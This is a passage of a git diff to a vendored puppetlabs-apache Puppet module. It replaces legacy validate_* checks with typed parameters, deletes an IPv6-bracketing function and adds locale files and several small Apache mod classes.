b/modules/services/unix/http/apache/examples/vhost.pp index 28edf25cf..440a56d4b 100644 --- a/modules/services/unix/http/apache/examples/vhost.pp +++ b/modules/services/unix/http/apache/examples/vhost.pp @@ -165,7 +165,7 @@ apache::vhost { 'sixteenth.example.com non-ssl': { comment => 'Rewrite to lower case', rewrite_cond => ['%{REQUEST_URI} [A-Z]'], rewrite_map => ['lc int:tolower'], - rewrite_rule => ['(.*) ${lc:$1} [R=301,L]'], + rewrite_rule => ["(.*) \${lc:\$1} [R=301,L]"], } ], } diff --git a/modules/services/unix/http/apache/lib/puppet/parser/functions/enclose_ipv6.rb b/modules/services/unix/http/apache/lib/puppet/parser/functions/enclose_ipv6.rb deleted file mode 100644 index 80ffc3aca..000000000 --- a/modules/services/unix/http/apache/lib/puppet/parser/functions/enclose_ipv6.rb +++ /dev/null @@ -1,45 +0,0 @@ -# -# enclose_ipv6.rb -# - -module Puppet::Parser::Functions - newfunction(:enclose_ipv6, :type => :rvalue, :doc => <<-EOS -Takes an array of ip addresses and encloses the ipv6 addresses with square brackets. - EOS - ) do |arguments| - - require 'ipaddr' - - rescuable_exceptions = [ ArgumentError ] - if defined?(IPAddr::InvalidAddressError) - rescuable_exceptions << IPAddr::InvalidAddressError - end - - if (arguments.size != 1) then - raise(Puppet::ParseError, "enclose_ipv6(): Wrong number of arguments "+ - "given #{arguments.size} for 1") - end - unless arguments[0].is_a?(String) or arguments[0].is_a?(Array) then - raise(Puppet::ParseError, "enclose_ipv6(): Wrong argument type "+ - "given #{arguments[0].class} expected String or Array") - end - - input = [arguments[0]].flatten.compact - result = [] - - input.each do |val| - unless val == '*' - begin - ip = IPAddr.new(val) - rescue *rescuable_exceptions - raise(Puppet::ParseError, "enclose_ipv6(): Wrong argument "+ - "given #{val} is not an ip address.") - end - val = "[#{ip.to_s}]" if ip.ipv6? - end - result << val - end - - return result.uniq - end -end diff --git a/modules/services/unix/http/apache/locales/config.yaml b/modules/services/unix/http/apache/locales/config.yaml new file mode 100644 index 000000000..0ec10ba97 --- /dev/null +++ b/modules/services/unix/http/apache/locales/config.yaml @@ -0,0 +1,25 @@ +--- +# This is the project-specific configuration file for setting up +# fast_gettext for your project. +gettext: + # This is used for the name of the .pot and .po files; they will be + # called .pot? + project_name: puppetlabs-apache + # This is used in comments in the .pot and .po files to indicate what + # project the files belong to and should bea little more desctiptive than + # + package_name: puppetlabs-apache + # The locale that the default messages in the .pot file are in + default_locale: en + # The email used for sending bug reports. + bugs_address: docs@puppet.com + # The holder of the copyright. + copyright_holder: Puppet, Inc. + # This determines which comments in code should be eligible for translation. + # Any comments that start with this string will be externalized. (Leave + # empty to include all.) + comments_tag: TRANSLATOR + # Patterns for +Dir.glob+ used to find all files that might contain + # translatable content, relative to the project root directory + source_files: + diff --git a/modules/services/unix/http/apache/locales/puppetlabs-apache.pot b/modules/services/unix/http/apache/locales/puppetlabs-apache.pot new file mode 100644 index 000000000..7602dd885 --- /dev/null +++ b/modules/services/unix/http/apache/locales/puppetlabs-apache.pot @@ -0,0 +1,25 @@ +#, fuzzy +msgid "" +msgstr "" +"Project-Id-Version: PACKAGE VERSION\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2017-03-21 14:19+0100\n" +"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" +"Last-Translator: FULL NAME \n" +"Language-Team: LANGUAGE \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: Translate Toolkit 2.0.0\n" + +#. metadata.json +#: .summary +msgid "" +"Installs, configures, and manages Apache virtual hosts, web services, and " +"modules." +msgstr "" + +#. metadata.json +#: .description +msgid "Module for Apache configuration" +msgstr "" diff --git a/modules/services/unix/http/apache/manifests/custom_config.pp b/modules/services/unix/http/apache/manifests/custom_config.pp index 188f3ba82..6bffa05c7 100644 --- a/modules/services/unix/http/apache/manifests/custom_config.pp +++ b/modules/services/unix/http/apache/manifests/custom_config.pp @@ -1,13 +1,13 @@ # See README.md for usage information define apache::custom_config ( - $ensure = 'present', - $confdir = $::apache::confd_dir, - $content = undef, - $priority = '25', - $source = undef, - $verify_command = $::apache::params::verify_command, - $verify_config = true, - $filename = undef, + Enum['absent', 'present'] $ensure = 'present', + $confdir = $::apache::confd_dir, + $content = undef, + $priority = '25', + $source = undef, + $verify_command = $::apache::params::verify_command, + Boolean $verify_config = true, + $filename = undef, ) { if $content and $source { @@ -18,12 +18,6 @@ define apache::custom_config ( fail('One of $content and $source must be specified.') } - validate_re($ensure, '^(present|absent)$', - "${ensure} is not supported for ensure. - Allowed values are 'present' and 'absent'.") - - validate_bool($verify_config) - if $filename { $_filename = $filename } else { diff --git a/modules/services/unix/http/apache/manifests/init.pp b/modules/services/unix/http/apache/manifests/init.pp old mode 100644 new mode 100755 index f22da13ed..516c966ad --- a/modules/services/unix/http/apache/manifests/init.pp +++ b/modules/services/unix/http/apache/manifests/init.pp @@ -13,101 +13,108 @@ # Sample Usage: # class apache ( - $apache_name = $::apache::params::apache_name, - $service_name = $::apache::params::service_name, - $default_mods = true, - $default_vhost = true, - $default_charset = undef, - $default_confd_files = true, - $default_ssl_vhost = false, - $default_ssl_cert = $::apache::params::default_ssl_cert, - $default_ssl_key = $::apache::params::default_ssl_key, - $default_ssl_chain = undef, - $default_ssl_ca = undef, - $default_ssl_crl_path = undef, - $default_ssl_crl = undef, - $default_ssl_crl_check = undef, - $default_type = 'none', - $dev_packages = $::apache::params::dev_packages, - $ip = undef, - $service_enable = true, - $service_manage = true, - $service_ensure = 'running', - $service_restart = undef, - $purge_configs = false, - $purge_vhost_dir = undef, - $purge_vdir = false, - $serveradmin = 'root@localhost', - $sendfile = 'On', - $error_documents = false, - $timeout = '120', - $httpd_dir = $::apache::params::httpd_dir, - $server_root = $::apache::params::server_root, - $conf_dir = $::apache::params::conf_dir, - $confd_dir = $::apache::params::confd_dir, - $vhost_dir = $::apache::params::vhost_dir, - $vhost_enable_dir = $::apache::params::vhost_enable_dir, - $vhost_include_pattern = $::apache::params::vhost_include_pattern, - $mod_dir = $::apache::params::mod_dir, - $mod_enable_dir = $::apache::params::mod_enable_dir, - $mpm_module = $::apache::params::mpm_module, - $lib_path = $::apache::params::lib_path, - $conf_template = $::apache::params::conf_template, - $servername = $::apache::params::servername, - $pidfile = $::apache::params::pidfile, - $rewrite_lock = undef, - $manage_user = true, - $manage_group = true, - $user = $::apache::params::user, - $group = $::apache::params::group, - $keepalive = $::apache::params::keepalive, - $keepalive_timeout = $::apache::params::keepalive_timeout, - $max_keepalive_requests = $::apache::params::max_keepalive_requests, - $limitreqfieldsize = '8190', - $logroot = $::apache::params::logroot, - $logroot_mode = $::apache::params::logroot_mode, - $log_level = $::apache::params::log_level, - $log_formats = {}, - $ssl_file = $::apache::params::ssl_file, - $ports_file = $::apache::params::ports_file, - $docroot = $::apache::params::docroot, - $apache_version = $::apache::version::default, - $server_tokens = 'OS', - $server_signature = 'On', - $trace_enable = 'On', - $allow_encoded_slashes = undef, - $package_ensure = 'installed', - $use_optional_includes = $::apache::params::use_optional_includes, - $use_systemd = $::apache::params::use_systemd, - $mime_types_additional = $::apache::params::mime_types_additional, - $file_mode = $::apache::params::file_mode, - $root_directory_options = $::apache::params::root_directory_options, - $root_directory_secured = false, - $error_log = $::apache::params::error_log, - $scriptalias = $::apache::params::scriptalias, - $access_log_file = $::apache::params::access_log_file, - $overwrite_ports = true, + $apache_name = $::apache::params::apache_name, + $service_name = $::apache::params::service_name, + $default_mods = true, + Boolean $default_vhost = true, + $default_charset = undef, + Boolean $default_confd_files = true, + Boolean $default_ssl_vhost = false, + $default_ssl_cert = $::apache::params::default_ssl_cert, + $default_ssl_key = $::apache::params::default_ssl_key, + $default_ssl_chain = undef, + $default_ssl_ca = undef, + $default_ssl_crl_path = undef, + $default_ssl_crl = undef, + $default_ssl_crl_check = undef, + $default_type = 'none', + $dev_packages = $::apache::params::dev_packages, + $ip = undef, + Boolean $service_enable = true, + Boolean $service_manage = true, + $service_ensure = 'running', + $service_restart = undef, + $purge_configs = true, + $purge_vhost_dir = undef, + $purge_vdir = false, + $serveradmin = 'root@localhost', + $sendfile = 'On', + $error_documents = false, + $timeout = '120', + $httpd_dir = $::apache::params::httpd_dir, + $server_root = $::apache::params::server_root, + $conf_dir = $::apache::params::conf_dir, + $confd_dir = $::apache::params::confd_dir, + $vhost_dir = $::apache::params::vhost_dir, + $vhost_enable_dir = $::apache::params::vhost_enable_dir, + $mod_packages = $::apache::params::mod_packages, + $vhost_include_pattern = $::apache::params::vhost_include_pattern, + $mod_dir = $::apache::params::mod_dir, + $mod_enable_dir = $::apache::params::mod_enable_dir, + $mpm_module = $::apache::params::mpm_module, + $lib_path = $::apache::params::lib_path, + $conf_template = $::apache::params::conf_template, + $servername = $::apache::params::servername, + $pidfile = $::apache::params::pidfile, + Optional[Stdlib::Absolutepath] $rewrite_lock = undef, + Boolean $manage_user = true, + Boolean $manage_group = true, + $user = $::apache::params::user, + $group = $::apache::params::group, + $http_protocol_options = $::apache::params::http_protocol_options, + $supplementary_groups = [], + $keepalive = $::apache::params::keepalive, + $keepalive_timeout = $::apache::params::keepalive_timeout, + $max_keepalive_requests = $::apache::params::max_keepalive_requests, + $limitreqfieldsize = '8190', + $logroot = $::apache::params::logroot, + $logroot_mode = $::apache::params::logroot_mode, + $log_level = $::apache::params::log_level, + $log_formats = {}, + $ssl_file = undef, + $ports_file = $::apache::params::ports_file, + $docroot = $::apache::params::docroot, + $apache_version = $::apache::version::default, + $server_tokens = 'OS', + $server_signature = 'On', + $trace_enable = 'On', + Optional[Enum['on', 'off', 'nodecode']] $allow_encoded_slashes = undef, + $file_e_tag = undef, + $package_ensure = 'installed', + Boolean $use_optional_includes = $::apache::params::use_optional_includes, + $use_systemd = $::apache::params::use_systemd, + $mime_types_additional = $::apache::params::mime_types_additional, + $file_mode = $::apache::params::file_mode, + $root_directory_options = $::apache::params::root_directory_options, + Boolean $root_directory_secured = false, + $error_log = $::apache::params::error_log, + $scriptalias = $::apache::params::scriptalias, + $access_log_file = $::apache::params::access_log_file, ) inherits ::apache::params { - validate_bool($default_vhost) - validate_bool($default_ssl_vhost) - validate_bool($default_confd_files) - # true/false is sufficient for both ensure and enable - validate_bool($service_enable) - validate_bool($service_manage) - validate_bool($use_optional_includes) - validate_bool($root_directory_secured) $valid_mpms_re = $apache_version ? { '2.4' => '(event|itk|peruser|prefork|worker)', default => '(event|itk|prefork|worker)' } - if $mpm_module and $mpm_module != 'false' { # lint:ignore:quoted_booleans - validate_re($mpm_module, $valid_mpms_re) + if $::osfamily == 'RedHat' and $::apache::version::distrelease == '7' { + # On redhat 7 the ssl.conf lives in /etc/httpd/conf.d (the confd_dir) + # when all other module configs live in /etc/httpd/conf.modules.d (the + # mod_dir). On all other platforms and versions, ssl.conf lives in the + # mod_dir. This should maintain the expected location of ssl.conf + $_ssl_file = $ssl_file ? { + undef => "${apache::confd_dir}/ssl.conf", + default => $ssl_file + } + } else { + $_ssl_file = $ssl_file ? { + undef => "${apache::mod_dir}/ssl.conf", + default => $ssl_file + } } - if $allow_encoded_slashes { - validate_re($allow_encoded_slashes, '(^on$|^off$|^nodecode$)', "${allow_encoded_slashes} is not permitted for allow_encoded_slashes. Allowed values are 'on', 'off' or 'nodecode'.") + if $mpm_module and $mpm_module != 'false' { # lint:ignore:quoted_booleans + assert_type(Pattern[$valid_mpms_re], $mpm_module) } # NOTE: on FreeBSD it's mpm module's responsibility to install httpd package. @@ -126,15 +133,14 @@ class apache ( # declare the web server user and group # Note: requiring the package means the package ought to create them and not puppet - validate_bool($manage_user) if $manage_user { user { $user: ensure => present, gid => $group, + groups => $supplementary_groups, require => Package['httpd'], } } - validate_bool($manage_group) if $manage_group { group { $group: ensure => present, @@ -249,19 +255,17 @@ class apache ( $vhost_load_dir = $vhost_dir } - if $overwrite_ports { - concat { $ports_file: - ensure => present, - owner => 'root', - group => $::apache::params::root_group, - mode => $::apache::file_mode, - notify => Class['Apache::Service'], - require => Package['httpd'], - } - concat::fragment { 'Apache ports header': - target => $ports_file, - content => template('apache/ports_header.erb'), - } + concat { $ports_file: + ensure => present, + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + notify => Class['Apache::Service'], + require => Package['httpd'], + } + concat::fragment { 'Apache ports header': + target => $ports_file, + content => template('apache/ports_header.erb'), } if $::apache::conf_dir and $::apache::params::conf_file { @@ -299,10 +303,6 @@ class apache ( default => false } - if $rewrite_lock { - validate_absolute_path($rewrite_lock) - } - # Template uses: # - $pidfile # - $user @@ -317,6 +317,7 @@ class apache ( # - $error_documents # - $error_documents_path # - $apxs_workaround + # - $http_protocol_options # - $keepalive # - $keepalive_timeout # - $max_keepalive_requests @@ -330,7 +331,7 @@ class apache ( ensure => file, content => template($conf_template), notify => Class['Apache::Service'], - require => [Package['httpd']], + require => [Package['httpd'], Concat[$ports_file]], } # preserve back-wards compatibility to the times when default_mods was diff --git a/modules/services/unix/http/apache/manifests/listen.pp b/modules/services/unix/http/apache/manifests/listen.pp index 9730d3c75..503ee8860 100644 --- a/modules/services/unix/http/apache/manifests/listen.pp +++ b/modules/services/unix/http/apache/manifests/listen.pp @@ -1,25 +1,9 @@ -define apache::listen ($port='') { +define apache::listen { $listen_addr_port = $name - if defined(Concat[$::apache::ports_file]){ - # Template uses: $listen_addr_port - concat::fragment { "Listen ${listen_addr_port}": - target => $::apache::ports_file, - content => template('apache/listen.erb'), - } - } elsif $port != '80' { - # Create a temporary file - # join with cat $tmp_file >> $file - # remove tmp files - $ports_file = $::apache::ports_file - $tmp_file = "$ports_file-tmp_listen" - file { $tmp_file: - ensure => file, - content => template('apache/listen.erb'), - } - - exec { "apache::listen: cat $tmp_file with ports.conf": - command => "/bin/cat $tmp_file >> $ports_file;/bin/rm $tmp_file" - } + # Template uses: $listen_addr_port + concat::fragment { "Listen ${listen_addr_port}": + target => $::apache::ports_file, + content => template('apache/listen.erb'), } } diff --git a/modules/services/unix/http/apache/manifests/mod.pp b/modules/services/unix/http/apache/manifests/mod.pp index 8958d1276..ddef130c8 100644 --- a/modules/services/unix/http/apache/manifests/mod.pp +++ b/modules/services/unix/http/apache/manifests/mod.pp @@ -46,7 +46,7 @@ define apache::mod ( } # Determine if we have a package - $mod_packages = $::apache::params::mod_packages + $mod_packages = $::apache::mod_packages if $package { $_package = $package } elsif has_key($mod_packages, $mod) { # 2.6 compatibility hack diff --git a/modules/services/unix/http/apache/manifests/mod/auth_cas.pp b/modules/services/unix/http/apache/manifests/mod/auth_cas.pp index 673cfb103..00de62242 100644 --- a/modules/services/unix/http/apache/manifests/mod/auth_cas.pp +++ b/modules/services/unix/http/apache/manifests/mod/auth_cas.pp @@ -1,7 +1,7 @@ class apache::mod::auth_cas ( - $cas_login_url, - $cas_validate_url, - $cas_cookie_path = $::apache::params::cas_cookie_path, + String $cas_login_url, + String $cas_validate_url, + String $cas_cookie_path = $::apache::params::cas_cookie_path, $cas_cookie_path_mode = '0750', $cas_version = 2, $cas_debug = 'Off', @@ -25,8 +25,6 @@ class apache::mod::auth_cas ( $suppress_warning = false, ) inherits ::apache::params { - validate_string($cas_login_url, $cas_validate_url, $cas_cookie_path) - if $::osfamily == 'RedHat' and ! $suppress_warning { warning('RedHat distributions do not have Apache mod_auth_cas in their default package repositories.') } diff --git a/modules/services/unix/http/apache/manifests/mod/authnz_ldap.pp b/modules/services/unix/http/apache/manifests/mod/authnz_ldap.pp index 033c1be51..cc9ab67f0 100644 --- a/modules/services/unix/http/apache/manifests/mod/authnz_ldap.pp +++ b/modules/services/unix/http/apache/manifests/mod/authnz_ldap.pp @@ -1,26 +1,17 @@ # lint:ignore:variable_is_lowercase required for compatibility class apache::mod::authnz_ldap ( - $verify_server_cert = true, - $verifyServerCert = undef, - $package_name = undef, + Boolean $verify_server_cert = true, + $package_name = undef, ) { + include ::apache include '::apache::mod::ldap' ::apache::mod { 'authnz_ldap': package => $package_name, } - if $verifyServerCert { - warning('Class[\'apache::mod::authnz_ldap\'] parameter verifyServerCert is deprecated in favor of verify_server_cert') - $_verify_server_cert = $verifyServerCert - } else { - $_verify_server_cert = $verify_server_cert - } - - validate_bool($_verify_server_cert) - # Template uses: - # - $_verify_server_cert + # - $verify_server_cert file { 'authnz_ldap.conf': ensure => file, path => "${::apache::mod_dir}/authnz_ldap.conf", diff --git a/modules/services/unix/http/apache/manifests/mod/authnz_pam.pp b/modules/services/unix/http/apache/manifests/mod/authnz_pam.pp new file mode 100644 index 000000000..c2672126d --- /dev/null +++ b/modules/services/unix/http/apache/manifests/mod/authnz_pam.pp @@ -0,0 +1,4 @@ +class apache::mod::authnz_pam { + include ::apache + ::apache::mod { 'authnz_pam': } +} diff --git a/modules/services/unix/http/apache/manifests/mod/cgi.pp b/modules/services/unix/http/apache/manifests/mod/cgi.pp index a41bb6deb..272f0ccd0 100644 --- a/modules/services/unix/http/apache/manifests/mod/cgi.pp +++ b/modules/services/unix/http/apache/manifests/mod/cgi.pp @@ -2,7 +2,9 @@ class apache::mod::cgi { case $::osfamily { 'FreeBSD': {} default: { - Class['::apache::mod::prefork'] -> Class['::apache::mod::cgi'] + if $::apache::mpm_module =~ /^(itk|peruser|prefork)$/ { + Class["::apache::mod::${::apache::mpm_module}"] -> Class['::apache::mod::cgi'] + } } } diff --git a/modules/services/unix/http/apache/manifests/mod/cluster.pp b/modules/services/unix/http/apache/manifests/mod/cluster.pp index a3a9f6c63..442b58352 100644 --- a/modules/services/unix/http/apache/manifests/mod/cluster.pp +++ b/modules/services/unix/http/apache/manifests/mod/cluster.pp @@ -9,6 +9,7 @@ class apache::mod::cluster ( $manager_allowed_network = '127.0.0.1', $max_keep_alive_requests = 0, $server_advertise = true, + $advertise_frequency = undef, ) { include ::apache diff --git a/modules/services/unix/http/apache/manifests/mod/dir.pp b/modules/services/unix/http/apache/manifests/mod/dir.pp index e41aa86ad..3c994d3e1 100644 --- a/modules/services/unix/http/apache/manifests/mod/dir.pp +++ b/modules/services/unix/http/apache/manifests/mod/dir.pp @@ -2,10 +2,10 @@ # Parameters: # - $indexes provides a string for the DirectoryIndex directive http://httpd.apache.org/docs/current/mod/mod_dir.html#directoryindex class apache::mod::dir ( - $dir = 'public_html', - $indexes = ['index.html','index.html.var','index.cgi','index.pl','index.php','index.xhtml'], + $dir = 'public_html', + Array[String] $indexes = ['index.html','index.html.var','index.cgi','index.pl','index.php','index.xhtml'], ) { - validate_array($indexes) + include ::apache ::apache::mod { 'dir': } diff --git a/modules/services/unix/http/apache/manifests/mod/dumpio.pp b/modules/services/unix/http/apache/manifests/mod/dumpio.pp index 62276162d..c79f6da38 100644 --- a/modules/services/unix/http/apache/manifests/mod/dumpio.pp +++ b/modules/services/unix/http/apache/manifests/mod/dumpio.pp @@ -1,10 +1,8 @@ class apache::mod::dumpio( - $dump_io_input = 'Off', - $dump_io_output = 'Off', + Enum['Off', 'On', 'off', 'on'] $dump_io_input = 'Off', + Enum['Off', 'On', 'off', 'on'] $dump_io_output = 'Off', ) { include ::apache - validate_re(downcase($dump_io_input), '^(on|off)$', "${dump_io_input} is not supported for dump_io_input. Allowed values are 'On' and 'Off'.") - validate_re(downcase($dump_io_output), '^(on|off)$', "${dump_io_output} is not supported for dump_io_output. Allowed values are 'On' and 'Off'.") ::apache::mod { 'dumpio': } file{'dumpio.conf': diff --git a/modules/services/unix/http/apache/manifests/mod/ext_filter.pp b/modules/services/unix/http/apache/manifests/mod/ext_filter.pp index aa14c1025..11550320c 100644 --- a/modules/services/unix/http/apache/manifests/mod/ext_filter.pp +++ b/modules/services/unix/http/apache/manifests/mod/ext_filter.pp @@ -1,10 +1,7 @@ class apache::mod::ext_filter( - $ext_filter_define = undef + Optional[Hash] $ext_filter_define = undef ) { include ::apache - if $ext_filter_define { - validate_hash($ext_filter_define) - } ::apache::mod { 'ext_filter': } diff --git a/modules/services/unix/http/apache/manifests/mod/intercept_form_submit.pp b/modules/services/unix/http/apache/manifests/mod/intercept_form_submit.pp new file mode 100644 index 000000000..39f1f5e07 --- /dev/null +++ b/modules/services/unix/http/apache/manifests/mod/intercept_form_submit.pp @@ -0,0 +1,4 @@ +class apache::mod::intercept_form_submit { + include ::apache + ::apache::mod { 'intercept_form_submit': } +} diff --git a/modules/services/unix/http/apache/manifests/mod/ldap.pp b/modules/services/unix/http/apache/manifests/mod/ldap.pp index c3fbb2611..3e5159222 100644 --- a/modules/services/unix/http/apache/manifests/mod/ldap.pp +++ b/modules/services/unix/http/apache/manifests/mod/ldap.pp @@ -1,19 +1,17 @@ class apache::mod::ldap ( - $apache_version = undef, - $package_name = undef, - $ldap_trusted_global_cert_file = undef, - $ldap_trusted_global_cert_type = 'CA_BASE64', - $ldap_shared_cache_size = undef, - $ldap_cache_entries = undef, - $ldap_cache_ttl = undef, - $ldap_opcache_entries = undef, - $ldap_opcache_ttl = undef, + $apache_version = undef, + $package_name = undef, + $ldap_trusted_global_cert_file = undef, + Optional[String] $ldap_trusted_global_cert_type = 'CA_BASE64', + $ldap_shared_cache_size = undef, + $ldap_cache_entries = undef, + $ldap_cache_ttl = undef, + $ldap_opcache_entries = undef, + $ldap_opcache_ttl = undef, ){ + include ::apache $_apache_version = pick($apache_version, $apache::apache_version) - if ($ldap_trusted_global_cert_file) { - validate_string($ldap_trusted_global_cert_type) - } ::apache::mod { 'ldap': package => $package_name, } diff --git a/modules/services/unix/http/apache/manifests/mod/lookup_identity.pp b/modules/services/unix/http/apache/manifests/mod/lookup_identity.pp new file mode 100644 index 000000000..445c60ef2 --- /dev/null +++ b/modules/services/unix/http/apache/manifests/mod/lookup_identity.pp @@ -0,0 +1,4 @@ +class apache::mod::lookup_identity { + include ::apache + ::apache::mod { 'lookup_identity': } +} diff --git a/modules/services/unix/http/apache/manifests/mod/passenger.pp b/modules/services/unix/http/apache/manifests/mod/passenger.pp index 35b4eff22..3b17d3db3 100644 --- a/modules/services/unix/http/apache/manifests/mod/passenger.pp +++ b/modules/services/unix/http/apache/manifests/mod/passenger.pp @@ -1,40 +1,35 @@ class apache::mod::passenger ( - $passenger_conf_file = $::apache::params::passenger_conf_file, - $passenger_conf_package_file = $::apache::params::passenger_conf_package_file, - $passenger_high_performance = undef, - $passenger_pool_idle_time = undef, - $passenger_max_request_queue_size = undef, - $passenger_max_requests = undef, - $passenger_spawn_method = undef, - $passenger_stat_throttle_rate = undef, - $rack_autodetect = undef, - $rails_autodetect = undef, - $passenger_root = $::apache::params::passenger_root, - $passenger_ruby = $::apache::params::passenger_ruby, - $passenger_default_ruby = $::apache::params::passenger_default_ruby, - $passenger_max_pool_size = undef, - $passenger_min_instances = undef, - $passenger_max_instances_per_app = undef, - $passenger_use_global_queue = undef, - $passenger_app_env = undef, - $passenger_log_file = undef, - $passenger_log_level = undef, - $passenger_data_buffer_dir = undef, - $manage_repo = true, - $mod_package = undef, - $mod_package_ensure = undef, - $mod_lib = undef, - $mod_lib_path = undef, - $mod_id = undef, - $mod_path = undef, + $passenger_conf_file = $::apache::params::passenger_conf_file, + $passenger_conf_package_file = $::apache::params::passenger_conf_package_file, + $passenger_high_performance = undef, + $passenger_pool_idle_time = undef, + $passenger_max_request_queue_size = undef, + $passenger_max_requests = undef, + Optional[Enum['smart', 'direct', 'smart-lv2', 'conservative']] $passenger_spawn_method = undef, + $passenger_stat_throttle_rate = undef, + $rack_autodetect = undef, + $rails_autodetect = undef, + $passenger_root = $::apache::params::passenger_root, + $passenger_ruby = $::apache::params::passenger_ruby, + $passenger_default_ruby = $::apache::params::passenger_default_ruby, + $passenger_max_pool_size = undef, + $passenger_min_instances = undef, + $passenger_max_instances_per_app = undef, + $passenger_use_global_queue = undef, + $passenger_app_env = undef, + Optional[Stdlib::Absolutepath] $passenger_log_file = undef, + $passenger_log_level = undef, + $passenger_data_buffer_dir = undef, + $manage_repo = true, + $mod_package = undef, + $mod_package_ensure = undef, + $mod_lib = undef, + $mod_lib_path = undef, + $mod_id = undef, + $mod_path = undef, ) inherits ::apache::params { + include ::apache - if $passenger_spawn_method { - validate_re($passenger_spawn_method, '(^smart$|^direct$|^smart-lv2$|^conservative$)', "${passenger_spawn_method} is not permitted for passenger_spawn_method. Allowed values are 'smart', 'direct', 'smart-lv2', or 'conservative'.") - } - if $passenger_log_file { - validate_absolute_path($passenger_log_file) - } # Managed by the package, but declare it to avoid purging if $passenger_conf_package_file { diff --git a/modules/services/unix/http/apache/manifests/mod/php.pp b/modules/services/unix/http/apache/manifests/mod/php.pp index 9b3b5b8b6..c7c004888 100644 --- a/modules/services/unix/http/apache/manifests/mod/php.pp +++ b/modules/services/unix/http/apache/manifests/mod/php.pp @@ -1,14 +1,15 @@ class apache::mod::php ( - $package_name = undef, - $package_ensure = 'present', - $path = undef, - $extensions = ['.php'], - $content = undef, - $template = 'apache/mod/php.conf.erb', - $source = undef, - $root_group = $::apache::params::root_group, - $php_version = $::apache::params::php_version, + $package_name = undef, + $package_ensure = 'present', + $path = undef, + Array $extensions = ['.php'], + $content = undef, + $template = 'apache/mod/php.conf.erb', + $source = undef, + $root_group = $::apache::params::root_group, + $php_version = $::apache::params::php_version, ) inherits apache::params { + include ::apache $mod = "php${php_version}" @@ -21,7 +22,6 @@ class apache::mod::php ( else { fail('apache::mod::php requires apache::mod::prefork or apache::mod::itk; please enable mpm_module => \'prefork\' or mpm_module => \'itk\' on Class[\'apache\']') } - validate_array($extensions) if $source and ($content or $template != 'apache/mod/php.conf.erb') { warning('source and content or template parameters are provided. source parameter will be used') @@ -38,7 +38,7 @@ class apache::mod::php ( } # Determine if we have a package - $mod_packages = $::apache::params::mod_packages + $mod_packages = $::apache::mod_packages if $package_name { $_package_name = $package_name } elsif has_key($mod_packages, $mod) { # 2.6 compatibility hack diff --git a/modules/services/unix/http/apache/manifests/mod/proxy_balancer.pp b/modules/services/unix/http/apache/manifests/mod/proxy_balancer.pp index fdb4b831a..dbc86df42 100644 --- a/modules/services/unix/http/apache/manifests/mod/proxy_balancer.pp +++ b/modules/services/unix/http/apache/manifests/mod/proxy_balancer.pp @@ -1,12 +1,9 @@ class apache::mod::proxy_balancer( - $manager = false, - $manager_path = '/balancer-manager', - $allow_from = ['127.0.0.1','::1'], - $apache_version = $::apache::apache_version, + Boolean $manager = false, + Stdlib::Absolutepath $manager_path = '/balancer-manager', + Array $allow_from = ['127.0.0.1','::1'], + $apache_version = $::apache::apache_version, ) { - validate_bool($manager) - validate_string($manager_path) - validate_array($allow_from) include ::apache::mod::proxy include ::apache::mod::proxy_http diff --git a/modules/services/unix/http/apache/manifests/mod/proxy_html.pp b/modules/services/unix/http/apache/manifests/mod/proxy_html.pp index f4f4b4411..94259bd77 100644 --- a/modules/services/unix/http/apache/manifests/mod/proxy_html.pp +++ b/modules/services/unix/http/apache/manifests/mod/proxy_html.pp @@ -5,7 +5,7 @@ class apache::mod::proxy_html { # Add libxml2 case $::osfamily { - /RedHat|FreeBSD|Gentoo/: { + /RedHat|FreeBSD|Gentoo|Suse/: { ::apache::mod { 'xml2enc': } $loadfiles = undef } diff --git a/modules/services/unix/http/apache/manifests/mod/security.pp b/modules/services/unix/http/apache/manifests/mod/security.pp index 4fab44650..95c58a033 100644 --- a/modules/services/unix/http/apache/manifests/mod/security.pp +++ b/modules/services/unix/http/apache/manifests/mod/security.pp @@ -24,6 +24,7 @@ class apache::mod::security ( $secrequestbodylimit = '13107200', $secrequestbodynofileslimit = '131072', $secrequestbodyinmemorylimit = '131072', + $manage_security_crs = true, ) inherits ::apache::params { include ::apache @@ -53,7 +54,7 @@ class apache::mod::security ( if $crs_package { package { $crs_package: - ensure => 'latest', + ensure => 'installed', before => [ File[$::apache::confd_dir], File[$modsec_dir], @@ -104,25 +105,27 @@ class apache::mod::security ( notify => Class['apache::service'], } - # Template uses: - # - $_secdefaultaction - # - $critical_anomaly_score - # - $error_anomaly_score - # - $warning_anomaly_score - # - $notice_anomaly_score - # - $inbound_anomaly_threshold - # - $outbound_anomaly_threshold - # - $anomaly_score_blocking - # - $allowed_methods - # - $content_types - # - $restricted_extensions - # - $restricted_headers - # - $secrequestmaxnumargs - file { "${modsec_dir}/security_crs.conf": - ensure => file, - content => template('apache/mod/security_crs.conf.erb'), - require => File[$modsec_dir], - notify => Class['apache::service'], + if $manage_security_crs { + # Template uses: + # - $_secdefaultaction + # - $critical_anomaly_score + # - $error_anomaly_score + # - $warning_anomaly_score + # - $notice_anomaly_score + # - $inbound_anomaly_threshold + # - $outbound_anomaly_threshold + # - $anomaly_score_blocking + # - $allowed_methods + # - $content_types + # - $restricted_extensions + # - $restricted_headers + # - $secrequestmaxnumargs + file { "${modsec_dir}/security_crs.conf": + ensure => file, + content => template('apache/mod/security_crs.conf.erb'), + require => File[$modsec_dir], + notify => Class['apache::service'], + } } unless $::operatingsystem == 'SLES' { apache::security::rule_link { $activated_rules: } } diff --git a/modules/services/unix/http/apache/manifests/mod/shib.pp b/modules/services/unix/http/apache/manifests/mod/shib.pp index 60104d690..318a3a340 100644 --- a/modules/services/unix/http/apache/manifests/mod/shib.pp +++ b/modules/services/unix/http/apache/manifests/mod/shib.pp @@ -17,4 +17,4 @@ class apache::mod::shib ( package => $package_name, lib => $mod_lib, } -} \ No newline at end of file +} diff --git a/modules/services/unix/http/apache/manifests/mod/ssl.pp b/modules/services/unix/http/apache/manifests/mod/ssl.pp index 92c456360..d27b6b8ee 100644 --- a/modules/services/unix/http/apache/manifests/mod/ssl.pp +++ b/modules/services/unix/http/apache/manifests/mod/ssl.pp @@ -1,20 +1,24 @@ class apache::mod::ssl ( - $ssl_compression = false, - $ssl_cryptodevice = 'builtin', - $ssl_options = [ 'StdEnvVars' ], - 